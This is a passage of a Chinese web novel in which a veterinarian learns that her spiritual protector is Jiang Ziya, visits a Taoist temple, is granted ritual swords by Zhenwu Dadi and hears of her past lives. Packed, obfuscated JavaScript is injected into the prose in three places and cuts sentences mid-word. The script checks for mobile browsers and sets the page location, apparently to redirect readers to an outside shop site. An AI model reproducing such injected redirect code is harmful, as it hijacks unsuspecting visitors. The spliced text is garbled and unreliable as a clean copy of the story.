我又想起一直以来的疑问,凑近墨宇,压低声音,带着期盼和紧张问:“墨宇,话都说到这个份上了,你肯定知道我那位护法爷爷到底是谁,对不对?他……他是山野精怪得道的?还是哪位游历人间的散仙啊?”在我朴素的认知里,能如此守护一个普通人的,大概就是这些存在了。 墨宇闻言,没好气地白了我一眼,语气带着几分无语:“你怎么就认定他是精怪之流呢?就不能往高了想?” “往高了想?”我讪讪地笑了笑,“我就是一个普通兽医,平平无奇,怎么可能劳驾什么了不得的大人物来当我的护法?这也太不现实了。” 墨宇看着我,摇了摇头,语气变得有些郑重:“楠木啊楠木,你有时候真是……太妄自菲薄了。这样吧,你自己先猜,大胆地猜。如果哪天你猜中了,名字到了嘴边,那就说明缘分真的到了,时机成熟,我自然可以告诉你更多。现在嘛……”他狡黠地笑了笑,“天机不可泄露。” 我气得拍了一下他的手臂:“好你个小道士!没大没小!又跟我卖关子!话说一半留一半,吊人胃口你最在行!” 墨宇躲开我的“攻击”,脸色却再次变得认真起来,他直视着我的眼睛,问道:“说真的,楠木姐,你自己有没有察觉到,这段时间,你身上发生了一些变化?不仅仅是学会了阵法。” “变化?”我仔细回想,“是……我的好奇心和探索欲比以前更强了?还是……胆子变大了点?” “是更深层的东西。”墨宇提示道,“你的元神,开始有苏醒的迹象了,你知道吗?” “元神?!”这个千尘和墨宇屡次提及,我却始终一知半解的词语,再次出现。我一脸惊讶和茫然地看着他,“为什么你们总提元神?元神到底是什么东西?是灵魂吗?每个人都有吗?” 墨宇见我确实不解,便耐心解释道,他的声音带着一种传授知识的肃穆:“简单来说,我们可以这样理解。元神,是人与生俱来的先天之神,是生命最根本的灵明觉性,它清净无为,超越你日常的思维情绪,与宇宙大道相通。可以把它理解为你最真实、最本质的‘真我’,是‘道’在你生命中的体现。它主宰着你生命最底层的运作,比如呼吸、心跳,在深度静定或特殊状态下,它会显现出超越寻常的直觉和智慧。” 他顿了顿,继续对比:“而识神,则是后天之神,是你出生后,通过感官、学习、经历形成的意识、思维、情绪、欲望,也就是你平常所以为的‘自我’(小我)。它依赖经验和感官,具有局限性和功利性。” 我听得云里雾里,感觉比背诵北斗星君名号还复杂,不由得感叹:“好复杂啊……听不懂,感觉好麻烦。” 墨宇笑了笑,不再深入,转而说道:“另外,告诉你一件事。最近这几天,我明显感觉到那种被窥视和针对的感觉加强了,似乎有一部分攻击,转移到了我这边。虽然暂时还能应付,但也说明对方一家是铁了心死缠烂打,找不到你的明显破绽,就开始迁怒于帮助你的人。这次过来,看到你这边已经有了自保之力,甚至形成了防御领域,我真是松了口气,太好了。” 我心中既感激又愧疚:“墨宇,谢谢你帮了我这么多!还连累你被针对……但是——”我话锋一转,瞪着他,“你说话说一半的习惯,能不能改改啊!吊得我心里七上八下的!” 墨宇把头一扭,故作高深:“天 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|hmxs|i|shop|16908340|192415||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 机不可泄露~” “嘁~” 我送给他一个大大的白眼。 接下来的两天,那位护法爷爷的身份成了我心头最大的谜团。我绞尽脑汁,把从小到大听过的神话传说、看过的影视剧里的神仙名字都想了一遍,却毫无头绪。那种感觉,就像明明知道一个至关重要的答案就在眼前,却隔着一层磨砂玻璃,怎么也看不真切。 无奈之下,我只好再次求助“外援”,跑到了千尘家。 听我絮絮叨叨说完最近的进展和最大的困惑,千尘抱着她的抱枕,听得津津有味。她帮我仔细分析了过往的种种细节——从最初我莫名能感知到异常,到一次次有惊无险,再到那位护法总是在关键时刻以各种方式(声音、影像、委托他人)介入帮助,以及如今借助阵法形成的防御领域。 “这位护法,行事风格稳健大气,带着一种古老的威严和智慧,而且似乎特别擅长布局和借助规则力量……”千尘一边分析,一边用手指轻轻敲着桌面,眼神闪烁着思索的光芒。忽然,她像是捕捉到了什么关键线索,目光猛地一闪,脸上露出一种极其惊讶、又带着几分恍然大悟的神情! 她二话不说,立刻起身,净手,点燃三炷香,然后拿起她那副温润如玉的茭杯,在香炉前恭敬地默念了几句,随即郑重地将茭杯掷向地面。 “啪嗒。”茭杯落地,一正一反——圣卦! 我一直在紧张地观察着她的每一个动作,看到她脸上那混合着震惊和确认的表情,以及那确定的圣卦,我的心一下子提到了嗓子眼,急切地抓住她的胳膊,声音都变了调:“怎么样?你这什么眼神啊?你是不是猜到他是谁了??快告诉我!” 千尘转过头,看着我,脸上缓缓绽开一个极其复杂、带着难以置信又觉得理所当然的灿烂笑容,一字一顿地,清晰地说道: “姜子牙。姜太公啊!哈哈哈哈哈哈哈哈!” 姜……子牙? 姜太公?! 我像是被一道无形的惊雷劈中,整个人瞬间僵在原地,大脑一片空白,半晌都回不过神来。耳朵里嗡嗡作响,只有“姜子牙”三个字在反复回荡。 封神榜……直钩钓鱼……愿者上钩……封神之战……百家宗师…… 一个个关于这位传奇人物的片段,如同走马灯般在我脑海中飞速闪过。那是存在于神话史诗、被无数人敬仰的至高存在之一!是辅佐周室、奠定八百年基业、执掌封神大业的昆仑山玉虚宫元始天尊座下弟子! 我何德何能?!我一个二十一世纪的普通兽医,放在人堆里都找不出来的平凡女子,怎么会……怎么可能……劳动这位鼎鼎大名的姜太公来亲自护持我?! 巨大的震惊、难以置信、以及一种近乎惶恐的受宠若惊,如同海啸般将我淹没。我张了张嘴,却发不出任何声音,只能呆呆地看着千尘,仿佛想从她脸上找到一丝开玩笑的痕迹。 千尘看着我这副彻底石化、仿佛世界观被重塑的模样,忍不住又笑了起来,她拍了拍我的肩膀,语气带着理解和调侃:“怎么啦?吓傻啦?不敢相信?” 我僵硬地点了点头,喉咙干涩,好不容易才挤出一点声音:“我……我不是不相信你……我是……不敢相信我自己……这太……太离谱了!那可是姜子牙啊!我……我凭什么?” 千尘收敛了笑容,眼神变得深邃而认真:“正常,我刚确认的时候也吓了一跳。但卦象不会骗人,前后的线索也能对上——稳坐钓鱼台的耐心、善于布局借力的智慧、对兵阵之道的精通(你的阵法)、以及那种源自上古的浩然正气而非精怪之气。这一切,都指向他。你们之间,定然有着极深的,或许是跨越了漫长岁月的渊源。” 我依然处于极度震惊导致的思维宕机状态。几乎是本能地,我掏出手机,手指颤抖着找到墨宇的号码,直接拨了过去。 电话几乎是秒接,还没等墨宇那边“喂”出声,我就用一种近乎梦呓般的、带着颤抖和极度不确定的语气,对着话筒喊道: “墨宇!我的护法……是……是姜太公?!!” 电话那头,墨宇标志性的、带着几分戏谑和了然的爽朗笑声立刻传了过来:“哈哈哈哈哈!猜到了啦?恭喜你啊,楠木姐!这下知道自己后台有多硬了吧?” 挂了电话,我依然久久无法平静。巨大的震惊过后,是更深层次的迷茫和自我怀疑。我坐在千尘家的沙发上,抱着靠枕,眼神放空,脑海里反复盘旋着那个问题: 为什么是我? 我如此普通,如此渺小,生于现代,长于红尘,与那封神史诗、昆仑仙境隔着无法逾越的时空鸿沟。为何那位执掌封神榜、名垂青史的姜太公,会选择护持在我这样一个平凡得不能再平凡的人身边? 这背后,究竟隐藏着怎样不为人知的秘密与因果?我的“元神”又与他有着怎样的关联?前方的迷雾,似乎因为这位护法身份的揭晓,非但没有散去,反而变得更加幽深、更加引人探寻,也……更加让我感到一种肩负未知命运的沉重与不安。 28. 真武爷赐剑 姜太公是我护法这件事,如同一块巨石投入我本就不平静的心湖,激起的不是涟漪,而是滔天巨浪。那种感觉极其荒诞,远超之前任何一次灵异体验。童年时,我也曾幻想过自己是独一无二的天选之子?但随着年龄增长,现实的打磨早已将那些不切实际的棱角磨平,让我心安理得地将自己归类为芸芸众生中最普通的一员。如今,这个近乎神话的“设定”强行加诸我身,让我在短暂的震惊与一丝隐秘的虚荣过后,陷入了更深的自我怀疑——这一切,会不会是我压力过大产生的集体幻觉?或是无数巧合被我们这群“神棍”过度解读后编织出的虚假叙事?我甚至开始翻阅起心理学书籍,试图为自己的经历找到一个“科学”的解释。 就在我沉浸于这种真实与虚幻的拉扯中时,手机提示音响起,是涵子发来的消息:「楠木,方便吗?上次你给我看的手臂上的痣,能再拍清晰一点的照片给我吗?我总觉得那些排列有点意思。」 涵子的消息像一根绳子,将我从混乱的思绪中暂时拉了出来。我这才想起这件被接连冲击而遗忘的事。连忙卷起袖子,在光线充足的地方,将右手手臂内侧那些大小不一、深浅各异的痣,仔仔细细地拍了下来,连同手臂其他位置几颗看似孤立的痣也一并拍下,发给了涵子。 大约半小时后,涵子的回复来了,语气带着明显的兴奋和惊异:「楠木,我把你手臂上所有痣的位置都在星图上做了标记和连线!结果非常惊人!这些痣的位置完全没有变动,它们的排列,严格对应着倒映的北方玄武七宿星图!你看,斗、牛、女、虚、危、室、壁,七宿俱全,分毫不差!」 我盯着手机屏幕,心脏莫名地加速跳动,回复道:「这……这是什么意思?代表什么?」 涵子很快将他手工绘制的示意图发了过来,上面用清晰的线条将我手臂上的痣与玄武七宿的星图一一对应连接,构成了一幅完整的、仿佛烙印在我肌肤之上的星空画卷。虽然我看不懂复杂的星图,但那严谨的对应关系,直观地呈现在眼前。 「我暂时也不清楚这具体意味着什么,」涵子回复,「但从星象学的角度,北方玄武七宿,在道教信仰中,对应的尊神正是真武大帝,也称玄武大帝,执掌北方,司职斩妖除魔、庇佑众生。」 真武大帝?! 又是他! 我握着手机的手指微微收紧。那个在梦中教我练剑的高大身影?我忍不住将之前那个清晰的梦境,以及我在真武殿遭遇无形压制、后又诵经感应的经历,简要地告诉了涵子。 涵子听完,沉默了片刻,回复道:「看来这其中确有渊源。刚好,过两天薛道长约我去观里交流一下笛艺,顺便小住两日。你要不要约上千尘她们,我们一起去一趟?或许,能在那里找到更多的线索。」 「好,我问下她们。」我回复道,心中那股被暂时压抑的探索欲再次升腾起来。 我立刻在群里联系了墨宇、千尘和知南,转达了涵子的邀请和我的想法。他们对此都表现出浓厚的兴趣,很快回复表示同意。与涵子确认后,我们定下了行程。因为是晚上出发当晚就到,第二天可以待一天,我索性请了一天的假。 接下来的两天,心中的波澜从未平息。姜太公的护持,手臂上的玄武星图,梦中的剑法,真武殿的遭遇……这些碎片化的信息,仿佛被一根无形的线串联着,指向一个我尚未看清的谜底。 出发那日,我们一行五人乘车抵达道观时,已是晚上八点多。夜色中的道观比白日更显幽深静谧,飞檐翘角在朦胧的月光下勾勒出沉默的剪影。整个观内一片漆黑,唯有茶室方向,透出橘色灯光。 我们推开茶室的木门,一股混合着茶香和檀香的热气扑面而来。薛道长正和几位观里的义工围坐在茶桌旁闲聊,气氛轻松。我们互相打了招呼,便各自找地方坐下。我选了个靠墙的角落,本想安静地听他们聊天,缓解一下连日来的心绪不宁。 然而,诡异的事情发生了。 坐下不到十分钟,一股极其强烈的、无法抗拒的困意如同潮水般向我涌来。我的眼皮变得越来越沉重,无论如何努力都无法睁开,仿佛被胶水粘住。紧接着,我的脖颈也像是失去了所有力气,头颅无法自控地低垂下去,几乎要磕到膝盖。最让我惊恐的是,我的双腿开始不受控制地、剧烈地抖动起来,频率极快,带动着整个身体都在微微发颤! 这突如其来的失控让我心中大骇!我想开口说话,想告诉身边的人我不对劲,但嘴巴像是被什么东西封住了,连一个音节都发不出来,只能发出模糊的“嗬嗬”声。巨大的恐慌和那种熟悉的、被外力介入的感觉再次攫住了我! 我的异常立刻引起了薛道长的注意。他停下谈话,关切地望过来,眉头微蹙:“楠木?你怎么了?脸色这么差,不舒服吗?” 他这一问,仿佛触动了某个开关!我身体的抖动瞬间变得更加剧烈,如同触电一般,连坐着的椅子都发出了“咯咯”的声响!周围所有人的目光都聚焦在我身上,那些陌生的义工脸上写满了惊讶和疑惑。 社死!绝对的社死现场! 我内心在疯狂呐喊,脸颊烧得滚烫,可身体却完全不听使唤,只能像个帕金森患者一样在那里剧烈颤抖,连摇头这个简单的动作都做得无比艰难和怪异。 薛道长脸色凝重,立刻意识到这绝非普通的身体不适。他迅速对知南他们交代了几句,让他们帮忙照看我,随即起身,快步如飞地奔出了茶室,方向似乎是供奉斗姆元君的殿堂——他要去为我敕水! 在那短短几分钟的等待里,我度秒如年。身体如同被掏空,软绵绵地使不上一点力气,唯有那不自主的颤抖持续着。千尘把手搭在我背上帮我渡炁,她的手稳定而有力,给了我一丝微弱的安全感。 很快,薛道长端着一只白瓷碗回来了,碗中是清澈的、仿佛带着微光的“法水”。他示意千尘帮忙,小心翼翼地喂我喝了下去。水温适中,带着一丝淡淡的、难以形容的清气。水流过喉咙,一股温和的力量似乎随之扩散开来,那剧烈的颤抖终于渐渐平息,我勉强恢复了一点力气,在千尘和墨宇的搀扶下,颤颤巍巍地站了起来。 但,我依然无法说话,喉咙像是被什么东西堵住。 就在这时,千尘和墨宇交换了一个眼神,几乎异口同声地对薛道长说:“道长,我们可能需要带楠木去一趟真武殿。” 薛道长眼中闪过一丝诧异,但他没有多问,似乎也从我的异常和他们的请求中察觉到了什么,点了点头:“真武殿的门未上锁,你们直接去便是。小心些。” 于是,在浓重的夜色中,千尘和墨宇一左一右架着虚软无力的我,知南担心地紧紧拉着我的衣角,涵子则沉默地跟在后面,我们一行人如同夜行的朝圣者,踏着清冷的月光,走向真武殿。 真武殿此刻殿门紧闭,里面一片漆黑,仿佛吞噬一切光线的巨口。知南自从在贵州经历了那场梦游事件后,就对黑暗密闭空间产生了强烈的恐惧,她脸色发白,不敢进去,只好守在殿门外,焦虑地来回踱步。 墨宇和涵子对殿内并不熟悉没找到电灯开关,殿内漆黑一片,唯有从高窗渗入的皎洁月光,如同舞台追光一般,精准地投射在真武大帝那尊披发跣足、脚踏龟蛇、金身威严的神像之上,使其在黑暗中散发着清冷而神秘的光辉,目光如炬,俯瞰着刚刚闯入的我们。 千尘将我搀扶到一个拜垫前,让我坐下。说也奇怪,一进入这座大殿,坐在拜垫之上,我身体那残余的无力感和失控感竟如同退潮般迅速消散了。我不由自主地抬起头,直视着月光下那尊凛然不可侵犯的真武神像。 就在目光接触的刹那,一股完全无法抑制的、汹涌澎湃的酸楚感从心底最深处决堤而出!眼泪毫无征兆地夺眶而出,如同断了线的珠子,顺着脸颊滚落。起初还是无声的流泪,但很快,压抑的呜咽变成了无法控制的嚎啕大哭! 我哭得撕心裂肺,哭得浑身颤抖,仿佛要将积攒了许久的委屈、迷茫、恐惧、以及一种难以言说的、深沉如海的思念,全部通过泪水宣泄出来。我完全不明白自己为什么会这样,这种情绪来得如此猛烈、如此陌生,却又如此真实,仿佛它一直沉睡在我灵魂深处,此刻被神像的目光唤醒了。 墨宇和涵子两个大男人,被我这突如其来的、毫无形象的痛哭弄得手足无措,面露尴尬,互相对视一眼,默契地悄悄退出了殿外,将空间留给了我和千尘。 空旷的大殿里,只剩下我悲恸的哭声在梁柱间回荡,以及千尘安静的陪伴。她没有阻止我,只是默默地站在一旁,偶尔递上一张纸巾。 我不知道自己哭了多久,直到嗓子沙哑,眼泪几乎流干,情绪才渐渐平复下来,只剩下间歇性的抽噎。 这时,千尘才走上前,轻轻拍了拍我的后背,语气带着一种了然的温和:“好了,好了,楠木,别哭啦。你看,真武祖师见你哭得这么伤心,都心疼了,特意赐了你两把剑安慰你呢。” 我抬起泪眼婆娑的脸,茫然地看着她,声音沙哑得厉害:“剑?什么剑?他……他为什么送我剑?” “刚才你哭得最伤心的时候,”千尘解释道,“我看见真武祖师像旁侍立的童子,手托着这个红布盘子,上面放着一把桃木剑一把铜钱剑。他示意我将这‘剑’先接下,日后等你寻到合适的有形之剑,便可将其‘附灵’其上,为你所用。” 我怔怔地看着真武大帝,心中充满了难以言喻的复杂情绪。赐剑?这意味着什么?认可?庇护?还是……责任? “我不知道……”我喃喃道,抹去脸上的泪痕,“我不知道我为什么会哭成这样……就是突然觉得……好难过,好委屈,又好像 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new 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一股极其强烈的眩晕感猛地袭来,眼前的景物瞬间天旋地转,如同被扔进了高速旋转的洗衣机!与此同时,我的四肢再次僵直,无法动弹,连一根手指都抬不起来!我想呼喊,却发不出任何声音,只有意识在疯狂的旋转中保持着诡异的清醒! “楠木!”知南见我情况不对,脸色煞白,伸手就想把我拉起来。 “别动她!”千尘立刻出声制止,她的声音带着一种异常的冷静和洞察,“先别碰她!是祖师爷……有事找她。现在不能打扰。” 知南的手僵在半空,担忧地看着在床上如同被无形束缚、只有眼珠因眩晕而微微颤动的我。 那剧烈的、仿佛要将灵魂都甩出去的眩晕感持续了大约一两分钟。在这短暂又漫长的时间里,我的意识仿佛被抽离了身体,闯入了一片无边无际、弥漫着白色云雾的虚空之中。 四周寂静无声,唯有云雾缓缓流动。 然后,一个宏大、威严、仿佛源自宇宙深处、又直接响彻在我灵魂每一个角落的声音,从四面八方笼罩下来,带着不容置疑的庄重: 「你可愿意,皈依道、经、师三宝?」 那声音如同洪钟大吕,震得我心神摇曳。在这绝对的威严面前,任何杂念都烟消云散。我甚至来不及思考“皈依”意味着什么,一种源自本能的、深深的敬畏与认同感,让我在意识的层面,虔诚地、毫不犹豫地点了点头。 随着我的回应,周围的云雾仿佛活了过来。庄严悦耳的诵经声由远及近,渐渐清晰,如同千百人同时在吟唱古老的经文,字字句句蕴含着玄奥的韵律。与之相伴的,还有清脆悠扬的钟磬和木鱼声,节奏分明,涤荡心灵。这经韵仙乐交织在一起,美妙得难以用言语形容,仿佛来自天庭的法音,洗涤着我所有的疲惫与不安。 不知过了多久,那宏大的声音、诵经声、法器声渐渐远去,如同潮水退却。强烈的眩晕感也随之消失。 我猛地吸了一口气,仿佛溺水之人终于浮出水面,身体的控制权回来了。我挣扎着,用手肘支撑起上半身,大口地喘息着,额头上布满了冷汗。 “楠木!你怎么样了?”知南立刻扑到床边,焦急地问。 我甩了甩依旧有些昏沉的头,眼神还有些迷茫,喃喃道:“我……我刚才好像……到了一个都是云的地方……有个很威严的声音问我……愿不愿意皈依……然后,还有好多人在念经,敲着钟啊磬啊什么的……挺好听的……就是,脑子还有点晕……” 知南听完,长长地舒了一口气,拍着胸口,心有余悸地说:“你没事就好!没事就好!刚才真是吓死我了!你好好休息,别再胡思乱想了!” 我点点头,重新躺下,身心俱疲,仿佛刚刚经历了一场灵魂的洗礼。这一夜,睡得极不安稳,梦境纷乱。在破碎的梦境片段中,我依稀看到薛道长站在我面前,问道:「楠木,你是否愿意,拜入我门下,为我弟子?」 而在梦中,我看着他,心中充满了犹豫和茫然,迟迟无法给出回答,只是喃喃地说:「我……我要考虑考虑……」 29. 借寿 第二天清晨,在道观简朴的斋堂用过早饭,我们几人围坐在庭院石凳上休息,晨光熹微,鸟鸣清脆,但我心中却依旧被昨夜的种种经历填满,难以平静,我忍不住对知南和千尘提起了那个清晰的梦境:“昨天梦里,薛道长很认真地问我,要不要拜他为师……感觉特别真实,但是我在梦里……很犹豫,没有答应。” 知南歪着头看我,半开玩笑地说:“是不是这里的环境和氛围把你吸引住啦?日有所思,夜有所梦啊。” 我摇了摇头,眉头微蹙:“不知道,就是感觉那个梦……和普通的梦不一样,太清晰了,而且那种犹豫的感觉也很真实,不像是随便梦到的。” 千尘则显得很淡然,一边看着庭院里跳跃的麻雀,一边说:“随你自己的心意就好。缘分这种事,强求不来,也推拒不掉,静观其变吧。” 就在这时,薛道长手持拂尘,从廊下缓步经过。我想到昨夜那威严的声音和诵经仙乐,以及梦中薛道长的询问,一股强烈的好奇心和求证欲再次涌上心头,让我几乎没经过大脑思考,就贸然起身,快步走到他面前,带着一丝忐忑和期待开口: “薛道长,打扰一下。我……我想问问,道教里面,有没有可能在……在梦里完成皈依啊?我昨天晚上好像……” 我的话还没说完,薛道长便停下了脚步,他转过头,目光平静却带着一种不容置疑的严肃,直接打断了我:“道教皈依,需遵循古礼,焚香奏表,启告祖师,经由正规法事科仪,方得认可。并非梦中臆想,便可算数。” 他的语气斩钉截铁,带着一种对正统仪轨的绝对维护,没有丝毫通融探讨的余地。 我被他这严肃的态度和直接的回绝弄得一愣,脸上瞬间有些发烫,只能尴尬地站在原地,低声“噢”了一下,后面想说的话全都堵在了喉咙里。 知南见状,连忙上前把我拉回石凳上,低声嗔怪道:“你傻啊!怎么又这么冒失!不是跟你说过吗,薛道长他不喜欢我们总谈论这些神神鬼鬼、感应梦境的事情!” 我有些委屈地小声嘟囔:“可是我好奇啊……我也不懂这些规矩。他是修行多年的道长,我觉得他应该知道些什么,就想问问看嘛……除了他,我也不知道还能问谁了。” 知南看着我,无奈地叹了口气,拍了拍我的肩膀:“你啊……就是好奇心太重,有时候也得看看场合和对象。” 旁边的千尘也接口道,语气带着一丝疏离:“下次你们再来,我就不在这里留宿了。这里的气场……确实不太适合我。” 这时,墨宇和涵子也参拜完观内各位祖师,回来与我们会合。涵子看了看时间,说道:“今天我家还有些事要处理,我们早点回去吧?” 因为是涵子开车,我们自然听从安排。 向薛道长辞行时,他依旧是那副平和淡然的样子,并未再多问什么。我们一行人便乘车返回了市区。抵达后,知南、墨宇和涵子各自回家,我却跟着千尘去了她那里——关于真武大帝赐剑的事情,我心中还有太多疑问,急需解答。 一到千尘家,我就迫不及待地发问:“千尘,你昨天看到的那两把剑,具体是什么样子的?不知道样式,我怎么去选合适的剑啊?” 千尘给我倒了杯水,摇摇头:“我不能告诉你具体的样式。这会干扰你的‘缘’和‘感’。你需要自己去找,去古玩市场,或者上网看,凭你的第一眼感觉,去选一把你最顺眼、最有‘就是它’那种感觉的桃木剑和铜钱剑。选好了,拿来给我看,我自然能分辨是否契合真武祖师赐下的剑意。” 我只好压下心中的急切,拿出手机,打开购物软件,开始搜索桃木剑。页面瞬间弹出无数款式,从流水线生产的廉价工艺品,到一些号称雷击木、手工雕刻的精品。我一个个翻看着,大多数样式要么觉得过于花哨,要么觉得死板缺乏灵性,始终找不到合眼缘的。 翻找了许久,就在我快要放弃的时候,一家看起来极其小众、店铺评分不高但评价却都很真诚的手工作坊吸引了我的注意。他们展示的桃木剑款式非常独特,没有繁复的雕花,线条古朴流畅,剑身带着天然的木纹肌理,透着一股沉静内敛的气息。价格确实比普通的贵上不少,但我的目光一落在上面,就再也移不开了,心里有个声音在说:“就是它!” 我立刻将图片保存下来,递给千尘看,带着一丝紧张和期待问:“千尘,你看!真武爷给的那把桃木剑,是不是……就是这个样子的?” 千尘接过手机,仔细看了看图片,眼中闪过一丝赞许,点了点头:“不错!就是这种韵味和感觉!看吧,我就说了,你会有感应的。” 听到肯定的答案,我心中一阵雀跃,立刻下单购买了这把桃木剑。 接着,我开始寻找铜钱剑。然而,奇怪的事情发生了。我翻遍了能找到的所有铜钱剑图片,无论是五帝钱剑、小六帝钱剑,还是其他各种形制,竟然没有一把能让我产生像看到那柄桃木剑时那样的“心动”感。要么觉得气场不合,要么觉得样式别扭,总之就是找不到“对”的那一把。 我选得头昏眼花,疲惫地放下手机,对千尘说:“不行,我感觉这些里面……都没有我想要的。好像怎么看都不对劲。” 千尘闻言,沉吟了片刻,说道:“那就是缘分还未到。强求不得。桃木剑到了之后,我先帮你完成‘附灵’。铜钱剑……等你以后机缘到了,自然会遇到。” 我无奈地点点头:“也只能这样了。” 回到家后,我难掩得到认可桃木剑的兴奋,又把图片发给了墨宇分享。 墨宇很快回复:「不错!眼光可以。这把剑是一把令剑,正是你走阵法时要用的,可以先以它为基础。」 我惊讶地回复:「令剑?是干什么用的?我还以为走阵法的时候,像你之前教的,用剑指或者随便找根桃木枝代替就行了呢!」 墨宇回复依旧言简意赅,带着他特有的神秘感:「你日后自然便会明白。」 这种被吊着胃口的感觉实在不爽,我想起他之前的承诺,立刻追问:「你这个神叨叨的家伙!真是无语!你之前不是说等我猜中护法身份,就告诉我一些事情吗?你要说什么?别又想蒙混过关!」 墨宇那边显示“正在输入”了好一会儿,才发来一大段话,语气依旧带着点戏谑:「看你诚心诚意的发问了,那我就勉为其难,透露一点点‘天机’给你吧。听好了——」 「第一,你的直觉没有错!你的元神,确实是一位男性,至于他具体是谁,以及为何你此世投身为女身,此乃天机,我不可说。」 「第二,我与你相识,并非始于今生。乃是在上面便已有旧谊。你那一世,名为流河天星。」 「第三,祖师爷有示,让你静心参悟一个 ‘水’ 字。待你悟得其中意思,我方可再向你透露更多。」 「第四,你此番降生人间,是你自己发下大愿,自愿前来,你需要完成此愿,至于所愿为何,我虽知晓,但绝不能言。」 「第五,这条算我额外附赠。你来地球甚早,最早的一世,乃是生于盘古族内,为族中一员将领。你的第二世,亦投生于盘古族中。其余更多……需靠你自己去探寻觉醒了。」 我看着屏幕上这一连串爆炸性的信息,整个人都懵了。男性元神?流河天星?悟“水”?发愿下凡?盘古族将领?……这信息量巨大且一个比一个离奇,非但没有解答我的疑惑,反而像在我脑海中投下了一颗颗深水炸弹,掀起了更多的惊涛骇浪和无数问号! 我手指颤抖地回复:「……你说了这么多,我怎么感觉比之前更糊涂了?!疑惑更多了好吗!」 墨宇回了一个摊手的表情:「是你自己要问的嘛,我已经如实相告,甚至还多‘赠送’了你一些,知足吧!」 我盯着手机屏幕,简直有种想穿过屏幕去狠狠敲他木鱼脑袋的冲动,最终只能发去一串省略号表达我的无语。 晚上阿飞下班回来,比平时早了些,他看我坐在沙发上对着手机发呆,随口问道:“从道观回来了?怎么样,好玩儿吗?” 我心情复杂地叹了口气,揉了揉太阳穴:“就那样吧……风景是挺好,就是……心里更乱了,有太多事情我想不明白,理不出头绪。” 阿飞走到我身边,拍了拍我的背,语气带着他惯有的、基于现实世界的关怀:“你啊,就是容易想太多,我还是不太相信那些玄乎的事情,不过……只要你觉得自己开心,没影响到正常生活,就随你吧。” 他一直都知道我最近在研究这些,虽然从未明确反对,但也始终保持着距离和一丝不以为然。 我看着他,最终还是没有将墨宇说的那些关于元神、前世、大愿的话说出口。这些事情连我自己都感到难以置信和混乱,又该如何向他解释?我们之间,似乎因为这片我独自闯入的未知领域,悄然生出了一道无形的隔膜。 两天后,我期盼已久的桃木剑终于到了。我小心翼翼地拆开包装,那柄古朴的手工桃木剑呈现在眼前,触手温润,木纹自然,越看越喜欢。我立刻带着它去了千尘家。 千尘接过剑,仔细感受了一下,点了点头:“材质和感觉都对。” 她让我净手焚香,然后手持桃木剑,在香炉上缓缓绕过,口中念诵着晦涩的咒文,指尖在剑身上虚画着符箓。整个过程庄严肃穆,我能感觉到周围的能量似乎都在向那柄剑汇聚。 仪式完成后,千尘将剑递还给我。奇怪的事情发生了——原本看起来只是木质纹理的剑身上,此刻竟然隐隐浮现出了一些淡金色的、扭曲而神秘的纹路!它们不像后天雕刻,更像是从木头内部自然显现出来的,构成了一种我完全看不懂的、类似文字又似图案的符号! “这是……?”我惊讶地指着那些纹路。 千尘看了一眼,解释道:“这是密讳,一种蕴含特殊力量的符文。你不用费力去辨认,我也只是知其存在,并不完全识得其意蕴。” 她随即让我尝试向剑身渡炁,引导自身的能量灌注其中。可我对此并不熟练,努力了半天,也只是感觉到一丝微弱的气流在体内游走,很难稳定地导入剑中。 千尘无奈地看着我:“你得勤加练习啊!法器需要以自身之炁滋养、驱动,否则它只是一件比较好看的工艺品而已!” 我有些沮丧地点点头,闭上眼睛,再次集中全部精神,努力去感应和引导那微弱的内息。就在我全神贯注之际,脑海中的“视界”猛地一变!不再是黑暗,而是清晰地浮现出了三面迎风招展的令旗!旗帜颜色分明,分别是绿色、红色和黑金色,旗面上似乎也绣着复杂的纹样,但我看不真切。 我猛地睁开眼睛,看向千尘,急切地问:“令旗!我看到了三面令旗!绿的,红的,黑金的!这是做什么用的?” 千尘眼中闪过一丝讶异,随即了然:“嗯,看来你的感应又进了一步。令旗……通常是用来调遣兵马、布设阵法或者传递讯号的。但具体如何使用,对应何种功能,恐怕需要你自己在后续的修炼和实践中去摸索领悟了,我也不太清楚。” 我心里不禁感叹,这条路真是步步都需要自己探索,无人能替代。 忽然,我又想起墨宇的话,忍不住问千尘:“千尘,你的眼睛……能看见别人的元神吗?你知道我的元神到底是谁吗?” 千尘闻言,没好气地白了我一眼:“现在看不见。我的眼睛早就请了位爷爷帮忙封印了。要不是接触你之后发生的这些事,接二连三地‘看’,我的封印都松动了!我现在看东西也是模模糊糊,时灵时不灵的。等有空我还得再去找爷爷问问,看怎么加固一下。” 我好奇地追问:“为什么你要特意封印眼睛啊?有阴阳眼不是很多人求之不得的吗?” 千尘叹了口气,脸上露出一丝疲惫和无奈:“太影响正常生活了。走在大街上,看到的‘东西’比活人还多,有时候甚至会分不清哪边是现实,哪边是‘那边’……算了,不提这个了。”她摆了摆手,似乎不愿多谈其中的困扰。 我听了,心中暗自思忖。虽然我有时候也会强烈地渴望能亲眼“看见” ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c 